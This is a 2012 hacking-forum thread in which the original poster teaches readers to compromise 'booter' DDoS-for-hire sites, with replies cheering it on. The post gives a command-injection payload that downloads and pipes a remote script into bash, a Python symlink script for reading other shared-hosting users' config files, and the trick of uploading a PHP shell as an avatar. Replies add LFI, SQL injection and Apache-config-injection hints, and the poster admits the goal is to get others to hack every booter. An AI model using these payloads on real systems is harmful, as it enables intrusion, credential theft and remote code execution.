Thread: [How to hack various kinds of booters](#)

Starfall - November 20, 2012, 3:09 pm

DISCLAIMER: I AM NOT RESPONSIBLE FOR ANY HACKING OF BOOTERS DONE BY OTHER MEMBERS.

IF SOMEONE DECIDES TO SPRAY (leak) YOUR BUTTER SAUCE (booter source) ALL OVER THE FORUM, IT'S NOT MY FAULT.

Recently I've noticed a decline in code and hosting quality in many booter sources. In this thread, I'm going to cover some glaring issues I've seen with a lot of booters this past month.

#1. Command injection

Spoiler ([Click to View](#)) So here we are again, it's always such a pleasure.

Remember when you tried to boot me twice?

Oh how we laughed and laughed, except I wasn't laughing

Under the circumstances I've been shockingly nice.

This one's really, really deadly. Many sources will take user input without verifying it for fields like POST data or a CSSYN attack and feed it into something like this:

PHP Code

```
<?php
```

```
ssh2_exec($attackserver, "screen -dmS ATK-$user ./ddos params and junk $usersupplieddata");
```

Does anyone else see a problem here? We can supply something like ;wget <http://evil.stuff> -O- |bash as our data, and the server that is sent this command by ssh2_exec() will of course execute it. In bash, ; and | are meta characters with special meanings. In effect, the command I supplied will run our commands after the attack, downloading an evil script and piping it into bash, which will then, of course, execute said script.

There are a million million million ways to do this, but I've provided a working example for everyone here.

#2. Shared hosting and symlinks

Spoiler ([Click to View](#)) You want your booter, take it.

That's what I'm counting on.

I used to want you rooted, now I only want you gone.

Many a booter will be hosted on cheap, shared hosting nowadays with a host like Ixam Hosting, who have admittedly cleaned up their act recently. These sorts of hosts cost about \$2 (less than the booter!) for an account and don't really enforce many security policies at all. The following Python script will create symlinks to booter config files. You can then read these through Apache or if you're lucky, just simply read them. Syntax: python fuckbooters.py configfile.name tag

If you don't know the location of the conf file, you can find it by reading boot.php or send.php from the booter using the same (admittedly already known) trick. :3

PHP Code

```
<?php
```

```
#!/usr/bin/python
```

```
import commands, sys
```

```
def symlink(thefile, dest):
```

```
    passwd = commands.getoutput("cat /etc/passwd|cut -d: -f1,6")
```

```
    for fucker in passwd.split("\n"):
```

```
config = "%s/public_html/%s" % (fucker.split(':')[1], thefile)
fucker = fucker.split(':')[0]
cmd = "ln -s %s %s-%s.txt" % (config,fucker,dest)
print cmd
commands.getoutput(cmd)
symlink(sys.argv[1], sys.argv[2])
```

#3. Prodigy's old source

Spoiler ([Click to View](#)) You've got your short, sad DDoS

That's what I'm counting on.

I'll let you get right to it, now I only want you gone.

This thread from a few months back explains this one well.

<https://hackforums.net/showthread.php?tid=2737713>

A lot of HF members have taken it upon themselves to find even more issues in Prodigy's source, which they kindly posted to the same thread.

#4. The "Custom Source"

Spoiler ([Click to View](#))

Goodbye my only friend

Oh, did you think I meant you?

That would be funny if it weren't so sad

Well you have been replaced

I don't need anyone now

When they rm you maybe I'll stop feeling so bad.

Avatar uploads in this source aren't verified at all. You can upload a PHP script as your avatar, then navigate to it. The webserver will happily run it.

If anyone has anything to add, let me know :D

Spoiler ([Click to View](#)) Go make some new disasters.

That's what I'm counting on.

I used to call you skiddies, now I only want you gone.

RyanC - November 20, 2012, 3:10 pm

Starfall, you are a horrible writer. (Referring to the text in italics)

?Hycca - November 20, 2012, 3:12 pm

Aww, now this is going to waste. All the script kiddies are going to try to do this now.

RyanC - November 20, 2012, 3:13 pm

(Nov 20, 2012 04:12 PM)T1T5 Wrote: [\[CITE\]](#) Aww, now this is going to waste. All the script kiddies are going to try to do this now.

Are you honestly implying that the skids here will even know how to exploit these?

[0day]Also Apache config injection is a rather fun way to pop shared hosts.[/0day]

Starfall - November 20, 2012, 3:13 pm

(Nov 20, 2012 04:12 PM)T1T5 Wrote: [\[CITE\]](#) Aww, now this is going to waste. All the script kiddies are going to try to do this now.

WORTH IT.

And to Lucky, thanks for pointing it out before anyone malicious got to it. Fixed it last night :3

Aeon <3 - November 20, 2012, 3:15 pm

I'm disappointed. I was looking for a way to exploit ES.

Starfall - November 20, 2012, 3:17 pm

(Nov 20, 2012 04:15 PM)Aeon <3 Wrote: [\[CITE\]](#) I'm disappointed. I was looking for a way to exploit ES.

Have you tried any of it yet? Some of this may apply.

Aeon <3 - November 20, 2012, 3:18 pm

Oh I assure you, none of these work. I've tried more than just these as well. I don't publish work without making it secure.

Abdilo - November 20, 2012, 3:18 pm

I cannot wait to see how many booters get taken down from this

Bacardi - November 20, 2012, 3:19 pm

Very interesting thread Starfall. Cool read.

Aeon <3 - November 20, 2012, 3:21 pm

You should go into detail about RFI and LFI because most booters are exploitable with that as well.

Starfall - November 20, 2012, 3:22 pm

(Nov 20, 2012 04:21 PM)Aeon <3 Wrote: [\[CITE\]](#) You should go into detail about RFI and LFI because most booters are exploitable with that as well. Really? They're THAT bad? I've looked into attacking some booters with LFI and never succeeded. If you wanna PM me some details we can write up another section :D

Aeon <3 - November 20, 2012, 3:24 pm

Well TruBoot was that bad until I fixed most of them for Infinity. Hell I even found some SQL Injections. Messy code was messy.

The fagbooter source that a lot of booters use are exploitable as well.

So is Asylum Booter.

I have yet to attempt absoboot.

Starfall - November 20, 2012, 3:33 pm

(Nov 20, 2012 04:24 PM)Aeon <3 Wrote: [\[CITE\]](#) Well TruBoot was that bad until I fixed most of them for Infinity. Hell I even found some SQL Injections. Messy code was messy.

I'm confused with that spoiler.?

Starfall - November 20, 2012, 3:38 pm

(Nov 20, 2012 04:37 PM)Aeon <3 Wrote: [\[CITE\]](#) I'm confused with that spoiler.?
It's just lyrics from a song. The person who it's directed at knows who he is.

Aeon <3 - November 20, 2012, 3:43 pm

Ahh gotcha. Well hopefully some booters get knocked out with these.
The only one who uses ghp is truboot I believe.

Starfall - November 20, 2012, 3:45 pm

(Nov 20, 2012 04:43 PM)Aeon <3 Wrote: [\[CITE\]](#) Ahh gotcha. Well hopefully some booters get knocked out with these.

The only one who uses ghp is truboot I believe.

The source was leaked a while back. Quite a few use it now.

The same trick works with any other method that takes user-supplied data without verifying it.

angrybrit - November 20, 2012, 4:38 pm

Nice read, you are probably unleashing a shitstorm in hf booter market but what can I say, they probably deserve it... (some do anyway)

Spoiler ([Click to View](#))snipity snipity snipity snap removed ue to OP's request

Chl0e - November 20, 2012, 5:11 pm

Good release though checks are in my source.

Mind listing some sources who don't have checks (I believe demolish doesn't.)?

Also for custom source, you can simply use TD and edit the file name of your shell for those of you who don't know. It's a very simple exploit and can be done with TD on firefox.

KernelMode - November 20, 2012, 5:19 pm

(Nov 20, 2012 06:11 PM)Chl0e Wrote: [\[CITE\]](#) Good release though checks are in my source.

If you knew how to read, this never affected ES.

Illicit - November 24, 2012, 1:47 pm

Great Tutorial, I thought this wasnt going to be that good :3 Keep it up!

Th3PonyWizard - November 24, 2012, 2:11 pm

Had a good laugh over the Portal 2 reference. I'm not even sure I completed that game S: was too

hard for my humble brain.

Nice thread, this is offensive security ideal being applied to action: You release the tools for a booter massacre for the masses while publicly addressing the issues that make it possible for the attacks to work, so the owners will be able to fix them whilst being stressed by time. I like dis.

Shibe - November 24, 2012, 2:23 pm

Lmfao, nice ass release OP. Hopefully the skid coders get their shit together.

Shiro1337 - November 25, 2012, 12:04 pm

good stuff baby

this needs more attention ... up to the top

Dr.Coder ? - November 25, 2012, 12:06 pm

Awesome tutorial Starfall, glad my stresser is not vulnerable of those attacks.

Starfall - November 30, 2012, 9:08 am

This still needs more exposure. There are still tar- I MEAN VULNERABLE BOOTERS, NOT TARGETS AT ALL out there.

rcvrcv - November 30, 2012, 10:38 am

lol, why you do this to the great booter communit Starfall!

Jae? - November 30, 2012, 11:51 am

(Nov 30, 2012 11:38 AM)rcvrcv Wrote: [\[CITE\]](#) lol, why you do this to the great booter communit Starfall!

Starfall's targetting the bad coders, not the 'booter community' directly.

nightmare_1 - November 30, 2012, 12:02 pm

great Tutorial thank you for sharing
:)

Catzbow - November 30, 2012, 1:12 pm

Amazing.

Your tutorial is very understandable and powerful.

I sure that it will be help for all.

Starfall - November 30, 2012, 1:30 pm

(Nov 30, 2012 12:51 PM)Jewel Wrote: [\[CITE\]](#) Starfall's targetting the bad coders, not the 'booter community' directly.

No, to be honest, I am being a bitch by releasing this. I hate almost all of them and it's my way of ducking under the rules and hacking every booter I can, by having somebody else do it.

Originally this was meant just for a certain banned Ub3r who sold an exploitable booter. I'm sure we all know who.

SoLong - November 30, 2012, 3:00 pm

That's quite a clever move, getting around the rules by releasing the vulnerability so that way you don't get your hands dirty.

Still, the popularity of booters will continuously grow and we'll all have to still put up with hearing "IMMA BEWT U OFFLEIN."

Scooby Doo. - December 1, 2012, 2:10 am

(Nov 30, 2012 02:30 PM)Starfall Wrote: [\[CITE\]](#) No, to be honest, I am being a bitch by releasing this. I hate almost all of them and it's my way of ducking under the rules and hacking every booter I can, by having somebody else do it.

rcvrcv - December 6, 2012, 10:25 am

Lol'n at this. Why do people rage over such stuff I have no idea.

SIM-111414 - December 6, 2012, 11:36 am

After a long time I saw a tut which I can bookmark.
Bookmarked now.
Awesome tut bro.
Thanks for HQ posting. :)

Divine - December 7, 2012, 2:54 pm

How would I go about doing the command injection? Where do you insert the text?

Starfall - December 7, 2012, 4:30 pm

(Dec 7, 2012 03:54 PM)Divine Wrote: [\[CITE\]](#) How would I go about doing the command injection?
Where do you insert the text?
Either in the host field (unlikely but possible) or in a custom data field for attacks that have one, such as CSSYN that lets you choose what IP to spoof.

Glad i thought about all this before ;)
I heard that the Tw booters db was leaked ?

Sweet niblets, not again ?

Just sayin'
For some reason I have this file on my computer;
I don't even remember downloading it.

A very interesting read, you should definitely tutor me in the ways of h4ckz0rz

Jay? - February 4, 2013, 6:45 pm

I wish this affected more booters than it did. I am sick of seeing so many god damn booters. :l
